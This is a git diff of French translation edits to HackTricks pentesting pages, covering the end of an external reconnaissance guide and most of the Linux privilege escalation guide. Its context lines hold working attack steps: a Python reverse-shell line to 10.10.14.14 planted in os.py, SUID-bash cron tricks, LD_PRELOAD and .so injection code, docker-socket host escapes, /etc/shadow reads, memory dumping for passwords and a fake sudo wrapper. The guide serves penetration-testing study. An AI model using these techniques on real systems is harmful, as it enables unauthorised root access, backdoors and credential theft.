+Il est temps de **rassembler toutes les IP de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
-En utilisant des services des **API gratuites** suivantes, vous pouvez également trouver des **IPs précédemment utilisées par des domaines et sous-domaines**. Ces IPs peuvent encore appartenir au client (et peuvent vous permettre de trouver [**des contournements CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+En utilisant des services des **API gratuites** suivantes, vous pouvez également trouver des **IP précédemment utilisées par des domaines et sous-domaines**. Ces IP peuvent encore appartenir au client (et peuvent vous permettre de trouver [**des contournements CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
- [**https://securitytrails.com/**](https://securitytrails.com/)
@@ -474,7 +474,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
### **Recherche de vulnérabilités**
-**Scannez tous les ports des IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
+**Scannez tous les ports des IP qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
**Trouvez un** [**guide**](../pentesting-network/index.html) **sur la façon de scanner les hôtes.**
@@ -482,7 +482,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
> Nous avons trouvé toutes les entreprises et leurs actifs et nous connaissons les plages d'IP, les domaines et les sous-domaines dans le périmètre. Il est temps de rechercher des serveurs web.
-Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs web** dans le périmètre.
+Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IP et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs web** dans le périmètre.
Veuillez noter que cela sera **orienté vers la découverte d'applications web**, donc vous devriez également **effectuer le scan de vulnérabilités** et **le scan de ports** (**si autorisé** par le périmètre).
@@ -498,7 +498,7 @@ Maintenant que vous avez découvert **tous les serveurs web** présents dans le
Pour réaliser l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
-De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour passer en revue toutes les **captures d'écran** afin de vous dire **ce qui est susceptible de contenir des vulnérabilités**, et ce qui ne l'est pas.
+De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour passer en revue toutes les **captures d'écran** afin de vous indiquer **ce qui est susceptible de contenir des vulnérabilités**, et ce qui ne l'est pas.
## Actifs Cloud Publics
@@ -510,11 +510,11 @@ Vous aurez également besoin de listes de mots de **mots courants utilisés dans
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
-Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**Deuxième Tour DNS Brute-Force**](#second-dns-bruteforce-round) pour plus d'infos).
+Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**Deuxième Tour de Brute-Force DNS**](#second-dns-bruteforce-round) pour plus d'infos).
Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
-N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devez **chercher plus que de simples buckets dans AWS**.
+N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devriez **chercher plus que de simples buckets dans AWS**.
### **Recherche de vulnérabilités**
@@ -535,7 +535,7 @@ Les emails seront utiles plus tard pour **brute-forcer les connexions web et les
## Fuites de Credentials
-Avec les **domaines,** **sous-domaines**, et **emails**, vous pouvez commencer à rechercher des credentials fuités dans le passé appartenant à ces emails :
+Avec les **domaines**, **sous-domaines** et **emails**, vous pouvez commencer à rechercher des credentials fuités dans le passé appartenant à ces emails :
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/)
@@ -546,12 +546,12 @@ Si vous trouvez des credentials **fuités valides**, c'est une victoire très fa
## Fuites de Secrets
-Les fuites de credentials sont liées aux hacks d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises peuvent être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
+Les fuites de credentials sont liées aux hacks d'entreprises où **des informations sensibles ont été divulguées et vendues**. Cependant, les entreprises peuvent être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
### Fuites Github
Les credentials et les API peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
-Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) sur eux automatiquement.
+Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux.
**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni par les **URLs passées** à celui-ci, car parfois **les pages web contiennent également des secrets**.
@@ -607,7 +607,7 @@ Donc, vous avez déjà :
1. Trouvé toutes les **entreprises** dans le périmètre
2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué quelques scans de vulnérabilités si dans le périmètre)
3. Trouvé tous les **domaines** appartenant aux entreprises
-4. Trouvé tous les **sous-domaines** des domaines (y a-t-il une prise de contrôle de sous-domaine ?)
+4. Trouvé tous les **sous-domaines** des domaines (y a-t-il eu des prises de contrôle de sous-domaines ?)
5. Trouvé toutes les **IPs** (provenant et **non provenant des CDN**) dans le périmètre.
6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (y a-t-il quelque chose de bizarre qui mérite un examen plus approfondi ?)
7. Trouvé tous les **actifs cloud publics potentiels** appartenant à l'entreprise.
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 28d8fc40d..276d6ea7a 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -1,10 +1,10 @@
-# Linux Privilege Escalation
+# Escalade de privilèges Linux
{{#include ../../banners/hacktricks-training.md}}
## Informations système
-### Infos sur le système d'exploitation
+### Informations sur le système d'exploitation
Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution
```bash
@@ -18,7 +18,7 @@ Si vous **avez des permissions d'écriture sur un dossier à l'intérieur de la
```bash
echo $PATH
```
-### Env info
+### Infos sur l'environnement
Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ?
```bash
@@ -168,7 +168,7 @@ ps aux
ps -ef
top -n 1
```
-Toujours vérifier les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
+Vérifiez toujours les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
Vérifiez également **vos privilèges sur les binaires des processus**, peut-être pouvez-vous écraser quelqu'un.
### Surveillance des processus
@@ -281,7 +281,7 @@ Si vous constatez que le processus d'authentification est en cours d'exécution
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
-Vous pouvez dumper le processus (voir les sections précédentes pour trouver différentes façons de dumper la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire :
+Vous pouvez extraire le processus (voir les sections précédentes pour trouver différentes façons d'extraire la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire :
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
@@ -290,14 +290,14 @@ strings *.dump | grep -i password
L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en texte clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement.
-| Fonctionnalité | Nom du Processus |
+| Fonctionnalité | Nom du processus |
| --------------------------------------------------- | --------------------- |
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
-| VSFTPd (Connexions FTP Actives) | vsftpd |
-| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 |
-| OpenSSH (Sessions SSH Actives - Utilisation de Sudo) | sshd: |
+| VSFTPd (Connexions FTP actives) | vsftpd |
+| Apache2 (Sessions HTTP Basic Auth actives) | apache2 |
+| OpenSSH (Sessions SSH actives - Utilisation de Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@@ -313,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
-## Scheduled/Cron jobs
+## Tâches planifiées/Cron
-Vérifiez si un travail planifié est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?).
+Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de lien symbolique vers un autre** servant un script contrôlé par vous.
+Si le script exécuté par root utilise un **répertoire où vous avez un accès total**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous.
```bash
ln -d -s
```
@@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Tâches cron invisibles
-Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère de retour chariot) :
+Il est possible de créer une tâche cron **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et la tâche cron fonctionnera. Exemple (notez le caractère de retour chariot) :
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@@ -405,7 +405,7 @@ Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin
## **Timers**
-Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotone et peuvent être exécutés de manière asynchrone.
+Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone.
Vous pouvez énumérer tous les timers avec :
```bash
@@ -413,13 +413,13 @@ systemctl list-timers --all
```
### Timers modifiables
-Si vous pouvez modifier un minuteur, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`)
+Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`)
```bash
Unit=backdoor.service
```
Dans la documentation, vous pouvez lire ce qu'est l'unité :
-> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité de minuteur soient nommés de manière identique, sauf pour le suffixe.
+> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité du minuteur soient nommés de manière identique, sauf pour le suffixe.
Par conséquent, pour abuser de cette permission, vous devez :
@@ -454,7 +454,7 @@ Les sockets peuvent être configurés à l'aide de fichiers `.socket`.
### Fichiers .socket écrits
Si vous trouvez un fichier `.socket` **écrit**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine redémarre.**\
-_Notez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée_
+_Notez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée_
### Sockets écrits
@@ -498,7 +498,7 @@ Si vous avez un accès en écriture au socket Docker, vous pouvez élever les pr
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
-Ces commandes vous permettent d'exécuter un conteneur avec un accès de niveau root au système de fichiers de l'hôte.
+Ces commandes vous permettent d'exécuter un conteneur avec un accès au niveau root au système de fichiers de l'hôte.
#### **Utilisation directe de l'API Docker**
@@ -532,13 +532,13 @@ Connection: Upgrade
Upgrade: tcp
```
-Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès de niveau root au système de fichiers de l'hôte.
+Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès au niveau root au système de fichiers de l'hôte.
### Autres
-Notez que si vous avez des permissions d'écriture sur le socket docker parce que vous êtes **dans le groupe `docker`**, vous avez [**plus de moyens d'escalader les privilèges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**API docker écoute sur un port**, vous pouvez également être en mesure de la compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Notez que si vous avez des permissions d'écriture sur le socket docker parce que vous êtes **dans le groupe `docker`**, vous avez [**plus de façons d'escalader les privilèges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**API docker écoute sur un port**, vous pouvez également être en mesure de la compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
-Vérifiez **plus de moyens de sortir de docker ou de l'abuser pour escalader les privilèges** dans :
+Vérifiez **plus de façons de sortir de docker ou de l'abuser pour escalader les privilèges** dans :
{{#ref}}
docker-security/
@@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
-Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos : [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos : [ici](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ici](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [ici](https://twitter.com/paragonsec/status/1071152249529884674).\
**Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`**
### Groups
@@ -687,8 +687,8 @@ Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous con
### Su Brute
-Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de brute-forcer l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
-[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de brute-forcer les utilisateurs.
+Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe de l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer les mots de passe des utilisateurs.
## Abus de PATH écrivable
@@ -753,7 +753,7 @@ Si un **wildcard** est utilisé (\*), c'est encore plus facile :
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
-**Contre-mesures** : [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
+**Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Commande Sudo/Binaire SUID sans chemin de commande
@@ -776,7 +776,7 @@ Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, v
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
-Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée
+Alors, lorsque vous appelez le binaire suid, cette fonction sera exécutée
### LD_PRELOAD & **LD_LIBRARY_PATH**
@@ -814,7 +814,7 @@ Enfin, **escalader les privilèges** en exécutant
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
> [!CAUTION]
-> Une privesc similaire peut être abusée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées.
+> Une privesc similaire peut être exploitée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées.
```c
#include
#include
@@ -834,7 +834,7 @@ cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp
```
-### Binaire SUID – injection .so
+### SUID Binary – .so injection
Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante :
```bash
@@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés.
+Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichier et en exécutant un shell avec des privilèges élevés.
Compilez le fichier C ci-dessus en un fichier d'objet partagé (.so) avec :
```bash
@@ -939,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
-- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les tokens sudo éternels et permet à tous les utilisateurs d'utiliser sudo**
+- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les jetons sudo éternels et permet à tous les utilisateurs d'utiliser sudo**
```bash
bash exploit_v3.sh
sudo su
@@ -954,7 +954,7 @@ Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et
### /etc/sudoers, /etc/sudoers.d
Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\
-**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** un fichier, vous serez en mesure d'**escalader les privilèges**.
+**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** dans n'importe quel fichier, vous serez en mesure d'**escalader les privilèges**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@@ -979,11 +979,11 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
-Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.
+Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever les privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.
Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
-Ou exécuter quelque chose comme :
+Ou en exécutant quelque chose comme :
```bash
cat >/tmp/sudo </dev/null
```
## Ouvrir des sessions shell
-Dans les **anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\
-Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions d'écran de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
+Dans **les anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\
+Dans **les versions les plus récentes**, vous ne pourrez **vous connecter** qu'aux sessions d'écran de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
### Détournement de sessions d'écran
@@ -1117,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
-Vérifiez **Valentine box from HTB** pour un exemple.
+Vérifiez la **boîte de Saint-Valentin de HTB** pour un exemple.
## SSH
@@ -1158,12 +1158,12 @@ Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci :
Host example.com
ForwardAgent yes
```
-Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité).
+Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui pose un problème de sécurité).
Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\
-Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autoriser).
+Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autorisée).
-Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour élever les privilèges** :
+Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour élever vos privilèges** :
{{#ref}}
ssh-forward-agent-exploitation.md
@@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### Fichiers de profils
-Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez élever les privilèges**.
+Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez élever vos privilèges**.
```bash
ls -l /etc/profile /etc/profile.d/
```
@@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
-Dans certaines occasions, vous pouvez trouver des **hashs de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent).
+Dans certaines occasions, vous pouvez trouver des **hashes de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent).
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
@@ -1227,7 +1227,7 @@ ExecStart=/path/to/backdoor
User=root
Group=root
```
-Votre porte dérobée sera exécutée la prochaine fois que tomcat sera démarré.
+Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré.
### Vérifier les Dossiers
@@ -1310,18 +1310,18 @@ Pour **lire les journaux, le groupe** [**adm**](interesting-groups-linux-pe/inde
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
-### Recherche de crédentiels génériques/Regex
+### Generic Creds Search/Regex
Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et également vérifier les IP et les emails dans les logs, ou les regexps de hachages.\
Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue.
-## Fichiers écriture
+## Writable files
-### Détournement de bibliothèque Python
+### Python library hijacking
-Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer un backdoor (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
+Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y ajouter une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
-Pour **insérer un backdoor dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
+Pour **ajouter une porte dérobée à la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
@@ -1354,15 +1354,15 @@ NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
-### **init, init.d, systemd, et rc.d**
+### **init, init.d, systemd et rc.d**
Le répertoire `/etc/init.d` est le foyer des **scripts** pour System V init (SysVinit), le **système de gestion de services Linux classique**. Il comprend des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`.
D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart.
-**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage, et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système.
+**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système.
-## Autres Astuces
+## Autres astuces
### Escalade de privilèges NFS
@@ -1382,7 +1382,7 @@ escaping-from-limited-bash.md
cisco-vmanage.md
{{#endref}}
